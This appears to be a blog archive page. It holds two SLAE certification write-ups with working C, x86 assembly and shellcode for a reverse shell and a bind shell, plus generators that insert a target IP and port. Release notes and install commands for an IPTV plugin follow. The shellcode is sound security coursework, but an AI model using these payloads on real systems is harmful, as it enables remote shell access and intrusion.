SLAE Assignment 2 – Reverse Shell – Shell-code

Intro

So assignment two is similar to assignment one, but this time is a reverse shell. Approach has been exactly the same, Eg C POC, Assembly than wrapper program. To be fair the assembly came a bit easier this time and wasn’t fair off working on first attempt so I’m making progress.

C Reverse Shell

First things first is the C proof of concept which is in fact a touch easier than the bind shell if anything be pretty straight forward to understand.

// File: reverse_shell.c
// Reverse shell in C, SLAE Assignment 2

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/ip.h>
#include <unistd.h>


#define PORT 5555
#define IP "127.0.0.1" 

int main(int argc, char *argv[])
{
	// define and populate structure for socket 
	struct sockaddr_in addr;
	addr.sin_family = AF_INET; // 2
	addr.sin_addr.s_addr = inet_addr(IP); //127.0.0.1 
	addr.sin_port = htons(PORT); // 5555

	// Define and create socket 
	int s; 
	s = socket(AF_INET, SOCK_STREAM, 0) ; // Socket = syscall 359, AF_INET = 2, SOCK_STREAM = 1 
	connect(s, (struct sockaddr *)&addr, sizeof(addr)); // Connect syscall = 362 
	
	// Duplicate in, out and error 
	dup2(s, 0); // Dup2 sycall = 63 
	dup2(s, 1);
	dup2(s, 2); 
	
	// Execute Shell 
	execve("/bin/sh",0 ,0); // Execve syscall = 11
	return 0;

}

Assembly Reverse Shell

As before this is a direct translation of the C code into assembly. Only really one tricky part this time around which was dealing with null bytes in the IP address. E.g, 127.0.0.1 in hex is 0x7f000001, which gives us null bytes in our shell-code. (Handy little converter here for reference https://www.browserling.com/tools/ip-to-hex ). Solution to this is to XOR 0x0100007f (0x7f000001 in reverse) with another value like 0xffffffff, use this value in the assembly code and XOR it back to the original value. See lines 23 to 25 for this.
One other useful tip is that I installed visual studio code on the Ubuntu box with the assembly language plugin which makes typing and viewing the code a whole lot easier than using a default text editor. You can grab the 32bit deb package from here https://code.visualstudio.com/download. Final assembly code is below.

; Filename: reverse_shell.nasm
; Website:  http://suls.co.uk
;
; Purpose: Reverse shell in x86 assembly 

global _start			

section .text
_start:

	; Clear everthing we are using 
	xor eax, eax 
	xor ebx, ebx 
	xor ecx, ecx 
	xor edx, edx 
	xor esi, esi
	xor edi, edi

	; Define structure for socket 
	; push 0x0100007f ; Push IP to stack in reverse byte order ; need to revist the null bytes here  (127.0.0.1)
	; We have a issue here in that the ip address 127.0.0.1 = 0x0100007f in hex which contains null bytes 
	; Easiest way around this is to XOR the value with 0xffffffff
	mov edi, 0xfeffff80 ; xor of 0x0100007f and 0xffffffff
	xor edi, 0xffffffff
	push edi
	push word 0xb315 ; Push 5555 to the stack in reverse byte order 5555 in hex = 0x15b3 
	push word 0x2 ; push 2  to the stack (AF-INET) 

	; Create socket 
	; s = socket(AF_INET, SOCK_STREAM, 0)
	mov ax, 0x167 ; Syscall 359 (socket)
	mov bl, 0x2 ; AF-INET (2) 
	mov cl, 0x1 ; Sock stream (1) 
	; dl should already be zero 
	int 0x80 ; call system interupt to create socket 
	xchg esi, eax ; socket file descriptor now stored in esi 

	; Connect socket 
	; connect(s, (struct sockaddr *)&addr, sizeof(addr));
	mov ax, 0x16a ; Syscall 362 connect 
	mov ebx, esi ; Move socket file descriptor into ebx 
	mov ecx, esp ; Point ecx to the top of the stack which has our address structure on it 
	mov dl, 0x10 ; Size of structure (16)
	int 0x80 ; call system interupt to create connect 

	; Dup input output and error file descriptors 
	; dup2(s, 0); // Dup2 sycall = 63  
	xor eax, eax ; Clear eax 
	mov ebx, esi ; move socket id to ebx 
	xor ecx, ecx ; Clear ecx 
	mov cl, 0x2 ; set ecx to 2 
loop:
	mov al, 0x3f ; syscall 63 
	int 0x80 ; call dup 2 
	dec ecx  ; decrease ecx by 1 
	jns loop ; jump if not signed back to loop, this should cycle 2,1,0

	; Execute Shell 
	; execve("/bin/sh",0 ,0); // Execve syscall = 11
	; (const char *filename, char *const argv[], char *const envp[]);
	xor eax,eax ; null eax 
	mov al, 0xb ; syscall 11 into eax
	xor ebx, ebx ; zero ebx 
	push ebx ; push a null string to the stack to terminate our string 
	push 0x68732f2f ; hs//
	push 0x6e69622f ; nib/
	mov ebx, esp ; point ebx at the stack
	xor ecx, ecx ; clear ecx and edx as they are used in the syscall 
	xor edx, edx
	int 0x80 

section .data

As before we can link and compile the code with the following commands

    nasm -f elf32 -o reverse_shell.o reverse_shell.nasm 
    gcc -o reverse_shell reverse_shell.o 

Again we can extract the shell-code from our binary double checking for null bytes and compile the shell code in the following program.

suls@ubuntu:~/myslae/SLAE/Assignment-2$ objdump -d ./reverse_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x15\xb3\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\xbf\x80\xff\xff\xfe\x83\xf7\xff\x57\x66\x68\x15\xb3\x66\x6a\x02\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x96\x66\xb8\x6a\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x31\xc0\x89\xf3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*ret)() = (int(*)())code;
	ret();
}

Shell-code is compiled as follows:

gcc -fno-stack-protector -z execstack -o reverse_shell_shellcode shellcode.c 

And we end up with working reverse shell shell-code of 91 bytes.

Wrapper Program

Decided to go with Python this time around for a bit of a change, main challenge was working out how to XOR the IP address but it turned out it wasn’t too tricky in the end. Also had a few issues getting the compiled shell-code working once the script was complete. Wire shark to the rescue here, pretty easy to spot what the issue is.

Pushing the shell code through in the correct order resolves this pretty quickly. Python script below, have included some basic error checking to check for null bytes and valid port numbers.

#!/usr/bin/env python3 
# File: wrapper.py
# Reverse shell wrapper in python3 , SLAE Assignment 2
# Usage: python3 wrapper.py 192.168.1.1 5000

import argparse
import socket 
from struct import unpack

print("\n*****************************************")
print("***** Reverse shell wrapper script ******")
print("*****************************************")

# Grab command line args (ip and port) 
parser = argparse.ArgumentParser() 
parser.add_argument("ip")
parser.add_argument("port")
args = parser.parse_args() 
# check port is in a valid range 
if ((int(args.port) > 65535) or (int(args.port) < 256)):
    print("\nPort number must be between 256 and 65535\n")
    exit()

# Xor Function 
def xor_strings(str1,str2):
    result =  int(str1,16) ^ int(str2,16)
    return '{:x}'.format(result)

# Process IP address
print("\nIP address: "+ args.ip)
# Convert IP to Hex 
hexip = socket.inet_aton(args.ip).hex() 
print("Hex IP Address: "+hexip)
# Reverse the hex String 
revhexip = hexip[6:8]
revhexip = revhexip + hexip[4:6]
revhexip = revhexip + hexip[2:4]
revhexip = revhexip + hexip[0:2]
# Xor the reversed hex address as the shellcode XORs this address to avoid null bytes 
xored_ip = xor_strings(revhexip,"FFFFFFFF")
print("XORed reverse hex IP Address: "+ xored_ip) 

# Process Port
print("\nPort: "+args.port)
# Convert Port to hex 
hexport = hex(int(args.port)).replace('0x','')
if len(hexport)<4:
    hexport = '0'+hexport
print("Hex Port: "+hexport)
revhexport = hexport[2:4]+ hexport[0:2] 
print("Reverse Hex Port: "+revhexport)

# Check for null bytes 
if (xored_ip[0:2]=="00" or 
    xored_ip[2:4]=="00" or 
    xored_ip[4:6]=="00" or 
    xored_ip[6:8]=="00" or 
    revhexport[0:2]=="00" or 
    revhexport[2:4]=="00"):
    print("\n** WARNING ** Null Bytes detected in Xored IP or port shellcode,")
    print("shellcode may not work !\n")

# Construct Shellcode 
shellcode= \
"\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\xbf" + \
    "\\x"+ xored_ip[6:8] + \
    "\\x"+ xored_ip[4:6] + \
    "\\x"+ xored_ip[2:4] + \
    "\\x"+ xored_ip[0:2] + \
"\\x83\\xf7\\xff\\x57\\x66\\x68" + \
    "\\x"+ revhexport[2:4] + \
    "\\x"+ revhexport[0:2] + \
"\\x66\\x6a\\x02\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x96\\x66" + \
"\\xb8\\x6a\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x89\\xf3" + \
"\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\xb0\\x0b" + \
"\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3" + \
"\\x31\\xc9\\x31\\xd2\\xcd\\x80"
# Output Shellcode 
print("\nShellcode (Length 91 Bytes): \n")
print(shellcode+"\n")

With our shell-code generated we can drop it into our shellcode.c file compile and test it as demonstrated before:

This completes assignment two, on to egg hunters in assignment 3! Source code is available on GitHub https://github.com/su1s/SLAE

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1436

SLAE Assignment 1 – TCP Bind Shell-code

Intro

So part one of the challenges for Security Tube Linux Assembly Expert (SLAE) certification, TCP bind shell code. For more info on the course look here. Given my minimal knowledge of C programming at this point my intended process for this challenge is to:

  1. Identify the steps I need to take with the code
  2. Write a working C proof of concept for the task
  3. Port the C code to assembly language
  4. Compile and link to a binary and extract the working shell-code
  5. Finally work out a way of making the port number dynamic for the shell-code

Identify the steps I need to take with the code

With a little google fu and thanks to geeksforgeeks it looks like we can break the tasks down into the following

  • Create a socket
  • Bind the socket
  • Make the socket listen
  • Accept connections
  • Send a shell to the connection

Write a working C proof of concept for the task

So this took a bit of research but eventually we end up with the below. In particular you need to ensure that you understand the headers to include and what the various variables are value wise as we will require them when it comes to porting this to assembly. I’ve tried to comment everything inline to make as much sense as possible.

// File: bind_shell.c
// Simple bind shell in C, part of SLAE assessment 1 

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <unistd.h>

#define PORT 4444

int tcp_socket;
int client_socket_id;
struct sockaddr_in address;

int main()
{
	// Define our socket 
	// AF_INET = IPv4 (2) , 
	// SOCK_STREAM = 2 way communication (1), 
	// 0 = default protocol type TCP (0)
	tcp_socket = socket(AF_INET,SOCK_STREAM,0);

	// Bind Socket 
	// Initialise the socket address structure 
	address.sin_family = AF_INET; // 2
	address.sin_port = htons(PORT); // 4444
	address.sin_addr.s_addr = INADDR_ANY; // 0  
	// Bind to it 
	bind(tcp_socket,(struct sockaddr *) &address, sizeof(address));

	// Listen 
	listen(tcp_socket,0); 

	// Accept connections 
	client_socket_id = accept(tcp_socket, NULL ,NULL);

	// Pipe input and output 
	dup2(client_socket_id,2); // stderr
	dup2(client_socket_id,1); // stdout
	dup2(client_socket_id,0); // stdin

	// Run a shell 
	execve("/bin/sh",NULL ,NULL);

	// Exit 
	return 0;
}

With the code in place we compile and test on our local machine using gcc and netcat and we have a working POC.

Moving on we can of course drop the shellcode out of the binary we have just created using C with the following command:

 objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 

However this is, one rather long, and two full of null terminators (\x00) so not overly useful to us as a piece of shellcode. Time to see we we can craft something more useful in assembly.

Port the C code to assembly language

So final code for this is below, the syscalls and variables for each function are ultimately derived from the following:

cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket # syscall we want 
 man 2 socket 
 man 2 bind 
 man 2 listen 
 man 2 accept 
 man 2 dup2
 man 2 execve 

The code is rough and ready, I’ve purposely left it that way for now. One to see how my assembly programming improves and two as, optimising it might be an extra mile exercise a little later on. Another point I noted whilst debugging is that a lot of other students “exercise 1” code uses the “socketcall” function rather than socket, listen, accept etc. I’m not sure that either approach makes any different, however as I was replicating the above C code, I soldiered on with separate calls. Finally there doesn’t appear to be a syscall for “accept” so you have to use “accept4” in its place.

Hit a few challenges along the way which I thought it worth documenting which might aid fellows students should they hit similar problems.

Sockaddr Data structure

So the key to getting this working is the fact the structure has to be 16 bytes long and is fed to the stack in reverse order, so requires some padding, you are looking for something like this at the point you call bind:

Format of Port Number

Secondly and related to the above once I got everything working and the shell running, it worked but on a seemingly random high port number rather than 4444. This is because the port bytes need feeding to the stack in reverse order, e.g: 4444 = 0x115c in hex, what we actually want to push to the stack is.

push word 0x5c11

0x00 In Final Shell-code

So having finally got everything working I compiled and extracted my first shell-code to find it riddled with null bytes 🙁

suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\xb8\x67\x01\x00\x00\x31\xdb\xb3\x02\x31\xc9\xb1\x01\x31\xd2\x89\xca\x83\xea\x01\xcd\x80\x96\x52\x68\x11\x5c\x00\x00\x66\x6a\x02\xb8\x69\x01\x00\x00\x89\xf3\x89\xe1\xba\x10\x00\x00\x00\xcd\x80\x31\xc0\xb8\x6b\x01\x00\x00\x89\xf3\x31\xc9\xcd\x80\xb8\x6c\x01\x00\x00\x89\xf3\x31\xc9\x31\xd2\x56\x31\xf6\xcd\x80\x5e\x89\xc7\xb8\x3f\x00\x00\x00\x89\xfb\xb9\x02\x00\x00\x00\xcd\x80\x49\xb8\x3f\x00\x00\x00\xcd\x80\x49\xb8\x3f\x00\x00\x00\xcd\x80\xb8\x0b\x00\x00\x00\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

Disassembling the binary gives a clearer picture of whats going on:

In short moving a 8 or 16 bit value into a 32 bit register doesn’t fill it and it gets padded with zeros. Obvious beginners mistake. To correct instead of using the full register use the correct section for the amount of data you are moving.

mov eax, 0x12345678
 mov ax, 0x1234
 mov al, 0x12

bind_shell.nasm

; Filename bind_shell.nasm
; Purpose: TCP bind shell 

global _start			

section .text
_start:
	; Clear everthing we are using 
	xor eax, eax 
	xor ebx, ebx 
	xor ecx, ecx 
	xor edx, edx 
	xor esi, esi
	xor edi, edi

	; Set up a syscall for creating a socket 
	; int socket(int domain, int type, int protocol);
	; syscall = 359 Goes in EAX 
	; EBX 2
	; ECX 1 
	; EDX 0
	mov ax, 0x167  ; move 359 to al
	mov bl, 0x2 ; move 2 to bl 
	mov cl, 0x1 ; move 1 to cl
	mov edx, ecx ; move 1 into edx
	sub edx, 0x1 ; then subtract 1 to make zero 
	int 0x80
	xchg esi, eax ; socket file descriptor now stored in esi

	; Set up syscall for bind 
	; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
	; syscall = 361 (EAX)
	; EBX = esi
	; ECX = sockaddr structure (pointer to)
	; EDX = len(sockaddr structure) 
	; First we are going to build the structure need for sockaddr on the stack (reverse order)
	xor edx, edx
	push edx ; currently 0 (INADDR_ANY)
	push word 0x5c11 ; Port 4444 (reverse byte order 4444 = 0x115c)
	push word 0x2 ; (AF-INET)

	; Now assemble the actual call 
	mov ax, 0x169 ; Syscall 361 
	mov ebx, esi ; fd for socket 
	mov ecx, esp ; Structure for sockaddr, eg point ecx at the stack
	mov dl, 0x10 ; length of sockaddr (16)
	int 0x80 ; call system interupt 

	; Setup syscall for listen 
	; int listen(int sockfd, int backlog);
	; syscall listen = 363
	mov ax, 0x16b ; system call 363
	mov ebx, esi ; fd for our socket 
	xor ecx, ecx ; clear ecx (int backlog = 0) 
	int 0x80 ; call system interupt 

	; Setup syscall for accept 
	; syscall 364
	; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);
	mov ax, 0x16c ; syscall 364 
	mov ebx, esi ; Socket fd 
	xor ecx, ecx ; null ecx and edx 
	xor edx, edx
	push esi ; save esi on the stack for now 
	xor esi, esi
	int 0x80 
	pop esi ; Get the value back 
	mov edi, eax ; store incoming fd in edi

	; Setup duplicate file descriptors for our socket 
	; int dup2(int oldfd, int newfd);
	; syscall 63
	mov al, 0x3f ; syscall 63
	mov ebx, edi ;  
	mov cl, 0x2
	int 0x80 
	dec ecx
	mov al, 0x3f ; syscall 63
	int 0x80 
	dec ecx
	mov al, 0x3f ; syscall 63	
	int 0x80 

	; Finally run a shell 
	; Execve = syscall 11
	; (const char *filename, char *const argv[], char *const envp[]);
	xor eax,eax ; null eax 
	mov al, 0xb ; syscall 11 into eax
	xor ebx, ebx ; zero ebx 
	push ebx ; push a null string to the stack to terminate our string 
	push 0x68732f2f ; hs//
	push 0x6e69622f ; nib/
	mov ebx, esp ; point ebx at the stack
	xor ecx, ecx ; clear ecx and edx as they are used in the syscall 
	xor edx, edx
	int 0x80 

section .data


Compile, Link and Extract

So finally get to compiling and linking our nasm file with the following commands:

nasm -f elf32 -o bind_shell.o bind_shell.nasm 
gcc -o bind_shell bind_shell.o 

With this complete we can extract our shell-code and test it works. Extraction with the previous bash command line looks like this.

suls@ubuntu:~/myslae/Assignment-1$ objdump -d ./bind_shell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' 
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\x66\xb8\x67\x01\xb3\x02\xb1\x01\x89\xca\x83\xea\x01\xcd\x80\x96\x31\xd2\x52\x66\x68\x11\x5c\x66\x6a\x02\x66\xb8\x69\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x66\xb8\x6b\x01\x89\xf3\x31\xc9\xcd\x80\x66\xb8\x6c\x01\x89\xf3\x31\xc9\x31\xd2\x56\x31\xf6\xcd\x80\x5e\x89\xc7\xb0\x3f\x89\xfb\xb1\x02\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

With our final shell code in place we can use a short C program to test the extracted shell-code works:

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x31\xff\x66\xb8\x67\x01\xb3\x02\xb1\x01\x89\xca\x83\xea\x01\xcd\x80\x96\x31\xd2\x52\x66\x68\x11\x5c\x66\x6a\x02\x66\xb8\x69\x01\x89\xf3\x89\xe1\xb2\x10\xcd\x80\x66\xb8\x6b\x01\x89\xf3\x31\xc9\xcd\x80\x66\xb8\x6c\x01\x89\xf3\x31\xc9\x31\xd2\x56\x31\xf6\xcd\x80\x5e\x89\xc7\xb0\x3f\x89\xfb\xb1\x02\xcd\x80\x49\xb0\x3f\xcd\x80\x49\xb0\x3f\xcd\x80\x31\xc0\xb0\x0b\x31\xdb\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

main()
{

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;

	ret();

}

Which we compile as follows:

gcc -fno-stack-protector -z execstack -o bind_shell_shellcode shellcode.c 

And test. A working shell code of 121 bytes.

Make the Port Number Dynamic

Final task in this section is to make the port number dynamic. Numerous way of doing this, my approach is going to be to string substitute the port value in the shell-code in C.

Final code below, which is functional but lacks any kind of error handling or sense checking of the user input or checking for bad characters.

// File: bind_shell_program.c
// Simple bind shell with configurable port number in C, part of SLAE assessment 1 
// NB: Zero error checking in this script :/

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int portnumber;
unsigned char porthigh, portlow;

main(int argc, char** argv)
{
	// Check some thing has been passed in 
	if (argc != 2)
		{
			printf("Port number must be supplied\n");
			printf("Usage: %s \n", argv[0]);
		}
	// Convert Port number to some thing usable 
	portnumber = atoi(argv[1]);
	porthigh = portnumber >> 8 ;
	portlow = (portnumber << 8) >> 8;
	
	// Display our shellcode
	printf("Shellcode Length: 121");
	printf("Bind Port (%05d) \n\n",portnumber);
	printf("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x31\\xf6\\x31\\xff\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\x89\\xca\\x83\\xea\\x01\\xcd\\x80\\x96\\x31\\xd2\\x52\\x66\\x68\\x%02x\\x%02x\\x66\\x6a\\x02\\x66\\xb8\\x69\\x01\\x89\\xf3\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x66\\xb8\\x6b\\x01\\x89\\xf3\\x31\\xc9\\xcd\\x80\\x66\\xb8\\x6c\\x01\\x89\\xf3\\x31\\xc9\\x31\\xd2\\x56\\x31\\xf6\\xcd\\x80\\x5e\\x89\\xc7\\xb0\\x3f\\x89\\xfb\\xb1\\x02\\xcd\\x80\\x49\\xb0\\x3f\\xcd\\x80\\x49\\xb0\\x3f\\xcd\\x80\\x31\\xc0\\xb0\\x0b\\x31\\xdb\\x53\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xc9\\x31\\xd2\\xcd\\x80\n\n",porthigh,portlow);

	return 0;

}

So that is assignment one completed, source code is available on gitub here.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1436

e2m3u2bouquet v0.8 final / v0.8.1

v0.8 final

v0.8 Final has been released.

New features:-

  • When providers bouquet is downloaded (-b or -bd option) now uses full service references instead of just the epg relevant part in case it’s used for picon naming
  • Better multi provider handler e.g. if there is an issue with one provider it won’t stop the script processing others
  • If vod categories are out of order in the playlist, group together
  • Fix file naming issues with non alphanumeric characters
  • Much faster when using an override file 🙂
  • Don’t retry failed picon downloads
  • Option to add placeholder channel in override file to control channel numbering
  • Allow channels to be moved between categories use categoryOverride in the override file
  • All custom categories use customCategory=”true” in the override file
  • Add provider managed update support to script same functionality as shown here
  • [plugin] Improved performance
  • [plugin] New ‘Attempt Epg Import’ option. If enabled this will attempt to automatically import the epg after an update, so no need to configure or start an import in Epg Importer. This setting is in ‘configure’ and will default to ‘disabled’ on existing installs

Custom Channel ordering changes

Placeholder services
These will allow you to  have more control over channel numbering. In the override file add a placeholder as follows:-

<channel name="placeholder" category="e.g. Sports" />

Move channels between categories
The channels now have a new attribute categoryOverride which can be used to move a channel to a different category

e.g.

<channel name="BBC ONE" … category="ENTERTAINMENT" categoryOverride="SULS ENTERTAINMENT" … />

Custom categories
You can now have you own custom categories by creating a new category and setting customCategory to true

e.g.

<category name="SULS ENTERTAINMENT" … customCategory="true"/>

See the Custom Mapping page for full detail.

Update: v0.8.1 that fixes a bug in the plugin has been released

Latest releases here


Live TV streams showing as vod / e2m3u2bouquet 0.7.7

We’ve been made aware that some provider updates have caused the script/plugin to show live stream as vod (which means no epg is listed for them)

If you’re you using ‘output=ts’ in your m3u url please try ‘output=m3u8’ as a temporary workaround.

There’s an updated release (untested) here if anyone is willing to test and give feedback.

Update

v0.7.7 has been released which should fix this issue.

EpgImporter / e2m3u2bouquet 0.7.6

We’ve had some reports of issues with epgimport .

Initial investigation suggest that a recent epgimport update will stop it from working with any panel’s epg feed.

We’ll investigate further but in the meantime we suggest not updating to the latest epgimport version.

Update 

This issue is caused by the latest version of epgimport checking for a ‘LastUpdate.log’ file on the server that supplies the xmltv epg feed. If the file doesn’t exist or the date within is older than 2 days then the server is considered invalid and not used. Unfortunately this file is used by Rytec feed servers but not IPTV panels.

We’ve released v0.7.6 which sets a flag in the epgimport sources to ignore this check however this flag has only recently been added to epgimport and at the moment only works on the OpenPLI branch and not the OE-Alliance fork. Hopefully the OE-Alliance fork will merge this feature soon.

TL;DR

New versions of epgimport have broken the epg for IPTV panels. You should avoid updating epgimport for now, or revert to a previous version.

Updating to v0.7.6 of this script/plugin should fix the issue on OpenPli and hopefully future OE-Alliance images.

Provider Managed Updates

This post will only be relevant to you if you are a provider or manage multiple boxes.

As mentioned on the plugin homepage the new plugin has a mechanism to update provider details (i.e. name, host name, port) across multiple boxes. We’ve received a number of enquiries on how providers can provide automated updates and one line installs. This post aims to address these questions.

Create Provider Update File

The provider update file is a text file that has your provider details. The plugin will automatically check this file every 6 hours and apply any updates. The text file should follow the format ‘Name,M3UURL,EPGURL’  e.g.

SULS,http://www.suls.co.uk/get.php?username=USERNAME&password=PASSWORD&type=m3u_plus&output=ts,http://www.suls.co.uk/xmltv.php?username=USERNAME&password=PASSWORD

Note: USERNAME & PASSWORD should be left as the generic placeholders

Upload the provider.txt file to an accessible hosting space e.g. your panel or some cloud service like Dropbox

Create Generic Provider Config

Create a generic config file with your provider URLs e.g.

<!--
 E2m3u2bouquet supplier config file
 Add as many suppliers as required
 this config file will be used and the relevant bouquets set up for all suppliers entered
 0 = No/False
 1 = Yes/True
 For elements with <![CDATA[]] enter value between empty brackets e.g. <![CDATA[mypassword]]>
-->
<config>
 <supplier>
 <name>SULS</name><!-- Supplier Name -->
 <enabled>1</enabled><!-- Enable or disable the supplier (0 or 1) -->
 <settingslevel>simple</settingslevel>
 <m3uurl><![CDATA[http://www.suls.co.uk/get.php?username=USERNAME&password=PASSWORD&type=m3u_plus&output=ts]]></m3uurl><!-- Extended M3U url --> 
 <epgurl><![CDATA[http://www.suls.co.uk/xmltv.php?username=USERNAME&password=PASSWORD]]></epgurl><!-- XMLTV EPG url -->
 <username><![CDATA[uuuuu]]></username><!-- (Optional) will replace USERNAME placeholder in urls -->
 <password><![CDATA[ppppp]]></password><!-- (Optional) will replace PASSWORD placeholder in urls -->
 <providerupdate><![CDATA[https://www.dropbox.com/s/<fileid>/provider.txt?dl=1]]></providerupdate><!-- (Optional) Provider update url -->
 <iptvtypes>0</iptvtypes><!-- Change all TV streams to IPTV type (0 or 1) -->
 <streamtypetv></streamtypetv><!-- (Optional) Custom TV stream type (e.g. 1, 4097, 5001 or 5002 -->
 <streamtypevod></streamtypevod><!-- (Optional) Custom VOD stream type (e.g. 4097, 5001 or 5002 -->
 <multivod>0</multivod><!-- Split VOD into seperate categories (0 or 1) -->
 <allbouquet>0</allbouquet><!-- Create all channels bouquet (0 or 1) -->
 <picons>0</picons><!-- Automatically download Picons (0 or 1) -->
 <xcludesref>1</xcludesref><!-- Disable service ref overriding from override.xml file (0 or 1) -->
 <bouqueturl><![CDATA[]]></bouqueturl><!-- (Optional) url to download providers bouquet - to map custom service references -->
 <bouquetdownload>0</bouquetdownload><!-- Download providers bouquet (uses default url) must have username and password set above - to map custom service references -->
 <bouquettop>1</bouquettop><!-- Place IPTV bouquets at top (0 or 1) -->
 </supplier>
</config>
  • The providerupdate url https://www.dropbox.com/s/<fileid>/provider.txt?dl=1 should be set to the URL of your provider update file created in the previous step
  • Again USERNAME & PASSWORD should be left as the generic placeholders
  • The username string ‘uuuuu’ and password string ‘ppppp’ should be left as these values. They will get replaced with the individuals details within the install command below

Upload the config.xml file to an accessible hosting space e.g. your panel or some cloud service like Dropbox

One line install script

The version below will only copy the config file if the user doesn’t already have one

wget -O /tmp/config.xml "https://www.dropbox.com/s/<fileid>/config.xml?dl=1" && sed -i 's/uuuuu/myusername/g' /tmp/config.xml && sed -i 's/ppppp/mypassword/g' /tmp/config.xml && opkg install --force-reinstall "https://github.com/su1s/e2m3u2bouquet/releases/download/v0.8.3/enigma2-plugin-extensions-e2m3u2bouquet_0.8.3_all.ipk" && reboot
  • The config file URL https://www.dropbox.com/s/<fileid>/config.xml?dl=1 should be set to the URL of your config file
  • The text myusername & mypassword in the command should be replaced with the individuals users username & password. You should do this on a server script (see below for a JavaScript generator) or instruct the user to make the change.
  • The command above references the 0.8.3 version of the plugin, this should be updated to the current release version

The version below will overwrite the config file even if the user already has one (not recommended)

rm -f /etc/enigma2/e2m3u2bouquet/config.xml && wget -O /tmp/config.xml "https://www.dropbox.com/s/<fileid>/config.xml?dl=1" && sed -i 's/uuuuu/myusername/g' /tmp/config.xml && sed -i 's/ppppp/mypassword/g' /tmp/config.xml && opkg install --force-reinstall "https://github.com/su1s/e2m3u2bouquet/releases/download/v0.8.3/enigma2-plugin-extensions-e2m3u2bouquet_0.8.3_all.ipk" && reboot
  • The config file url https://www.dropbox.com/s/<fileid>/config.xml?dl=1 should be set to the URL of your config file
  • The text myusername & mypassword in the command should be replaced with the individuals users username & password. You should do this on a server script or instruct the user to make the change.
  • The command above references the 0.8.3 version of the plugin, this should be updated to the current release version

